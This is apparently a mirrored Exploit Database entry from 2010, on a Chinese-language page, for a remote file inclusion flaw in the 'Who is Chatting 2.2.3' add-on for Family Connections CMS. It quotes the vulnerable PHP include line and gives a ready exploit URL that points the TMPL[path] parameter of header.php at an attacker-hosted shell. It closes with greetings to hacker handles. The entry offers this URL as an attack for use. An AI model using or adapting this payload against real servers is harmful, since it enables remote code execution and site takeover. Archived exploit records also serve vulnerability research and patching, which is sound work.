Family Connections Who is Chatting AddOn – Remote File Inclusion

• Exploit Database
• 101 阅读

• 作者： lumut--
  日期： 2010-07-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14186/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

  *======================================================= Who is Chatting 2.2.3 Remote File Include Vulnerability =======================================================   # Author : lumut-- # Script Details : http://www.familycms.com/downloads/details.php?file=50 # Bugs :   <? $chat_inc = $TMPL[\&apos;path\&apos;] . \"inc/chatting_inc.php\"; include_once ($chat_inc); ?>   # Expl: http://server/mod_chatting/themes/default/header.php?TMPL[path]=[shell]   # Greetz & Thanks: cr4wl3r, team_elite, kisame, virusfree, doniskynet, manadocoding*